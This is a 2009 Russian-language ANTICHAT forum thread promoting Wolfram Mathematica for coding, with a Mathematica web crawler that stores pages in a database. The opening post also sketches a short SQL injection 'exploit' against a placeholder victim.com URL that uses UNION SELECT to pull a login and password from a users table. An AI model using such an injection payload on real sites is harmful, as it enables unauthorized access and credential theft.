ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

14.10.2009, 22:28
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Мощь Mathematica
Здравствуйте!
В этой статье я бы хотел ещё раз напомнить всем о системе компьютерной алгебры Mathematica от фирмы Wolfram Research.
Справка из Википедии:
Mathematica — система компьютерной алгебры компании Wolfram Research. Содержит множество функций как для аналитических преобразований, так и для численных расчётов. Кроме того, программа поддерживает работу с графикой и звуком, включая построение двух- и трёхмерных графиков функций, рисование произвольных геометрических фигур, импорт и экспорт изображений и звука.
Я бы не хотел размусоливать здесь общие сведения об этой программе и как ей пользоваться.
Я хочу лишь на примере показать мощь Mathematica, которая проявляется не только в математических программах, но и в иных прикладных программах, в том числе хакерских.
Заодно расскажу об основных функциях, нужных для этого.
Для начала напишем web-краулер. Есть тысячи реализаций краулеров на самых разных языках. Но мне нравится моя весьма лаконичная и красивая реализация на Mathematica.
Что ж, начну с того, что скажу, что в Mathematica есть встроенная СУБД DatabaseLink. Она позволяет управлять самыми разными видами баз данных прямо из Mathematica, то есть не нужно внешних СУБД.
Для работы с DatabaseLink в программе надо добавить строчку
Код:
Needs["DatabaseLink`"]
.
Напишите в Notebook следующий код:
Код:
Needs["DatabaseLink`"]
OpenSQLConnection[]
Откроется GUI-программа для управления базами данных. Там Вы можете создать базу данных.
Теперь насчёт извлечения web-страниц: это делается функцией Import[] (почитайте документацию), причём разработчики позаботились о нас и написали парсеры элементов страницы.Так что всё делается очень легко.
Всё, больше не буду разводить воду и напишу сам код. Думаю всё итак понятно, но на всякий случай написал комментарии.
Код:
Needs["DatabaseLink`"]
urli = "http://ya.ru" (*Любой URL для краулинга*)
text = Import[urli] (* Импортируем страницу в виде plain-text (т.е. без html-тегов) *)
title = Import[urli, "Title"] (* Импортируем <title>*)
links = Import[urli, "Hyperlinks"](*Импортируем все ссылки*)
conn = OpenSQLConnection["index", "Username" -> "indexer", "Password" -> "crawler"] (*Подключаемся к БД*)
SQLConnection["index", 1, "Open", "<>"]
SQLCreateTable[conn,
SQLTable["iNDEX"], {SQLColumn["urli", "DataTypeName" -> "STRING"],
SQLColumn["text", "DataTypeName" -> "STRING"],
SQLColumn["title", "DataTypeName" -> "STRING"],
SQLColumn["links", "DataTypeName" -> "STRING"]}]; (*Собственно, создаём таблицу*)
SQLInsert[conn, "INDEX", {"urli", "text", "title", "links"}, {urli,
text, title, links}] (*Закидываем данные в таблицу*)
CloseSQLConnection[conn](*Отключаемся от БД*)
Как видите, код очень короткий и интуитивно понятный.
Из хакерских программ на Mathematica удобно писать сплойты, но к сожалению у меня нет готовых кодов, ибо я (пока  ) их не писал.
Но суть такова:
Код:
urli = "http://victim.com"
StringCases[Import[urli<>"news.php?id=-1+union+select+concat_ws('%3A','user','password'),2,3,4+from+users+limit+1,1/*"],RegularExpression["[^*:::*$"]] (*Парсим логин и пароль*)
Это простейший вариант сплойта для простейшей инъекции. Конечно же для blind sql-инъекций код будет посложнее, будут циклы, по которым идёт перебор символов. Кстати циклы выглядят в Mathematica так: For[start,test,incr,body].
Я надеюсь Вас заинтересовала система компьютерной алгебры Wolfram Mathematica, и Вы захотите в ней разобраться. Вопросы можете задавать здесь. Удачи!
(c) BECHED (aka Root-access) 2009, http://ahco.ru/topic1813.html
Последний раз редактировалось Root-access; 14.10.2009 в 23:22..
|
|
|

14.10.2009, 23:13
|
|
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
Провел на форуме: 3516666
Репутация:
439
|
|
имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
|
|
|

14.10.2009, 23:16
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от BrainDeaD
имхо, абсолютно нецелесообразное использование софта.
я тоже иногда нож вместо линейки использую. так что теперь детям в школу ножики давать?
Это почему же не целесообразное?!
Кто запрещает писать, скажем web-краулер на Mathematica?
Эта система далеко не только для научных расчетов.
Если удобно, то почему бы и нет?
Кстати поисковик wolframalfa.com тоже на mathematica написан.
|
|
|

14.10.2009, 23:18
|
|
Moderator - Level 7
Регистрация: 24.02.2006
Сообщений: 447
Провел на форуме: 2872049
Репутация:
705
|
|
Кто не знает, пусть погуглит.
пошел гуглить, будет удалена.
|
|
|

15.10.2009, 22:39
|
|
Постоянный
Регистрация: 13.02.2008
Сообщений: 505
Провел на форуме: 2916750
Репутация:
277
|
|
Достаточно интересно,уже качаю Wolfram 
|
|
|

16.10.2009, 00:04
|
|
Reservists Of Antichat - Level 6
Регистрация: 04.02.2007
Сообщений: 1,152
Провел на форуме: 3008839
Репутация:
1502
|
|
эзотерика ёпть
__________________
Bedankt euch dafür bei euch selbst.
H_2(S^3/((z1, z2)~(exp(2pi*i/p)z1, exp(2pi*q*i/p)z2)))=Z/pZ
|
|
|

16.10.2009, 00:32
|
|
Участник форума
Регистрация: 18.06.2008
Сообщений: 222
Провел на форуме: 2223440
Репутация:
648
|
|
Сообщение от desTiny
эзотерика ёпть
Ну вообще-то это не эзотерика. Да это и не имеет никакого значения. Главное - польза.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|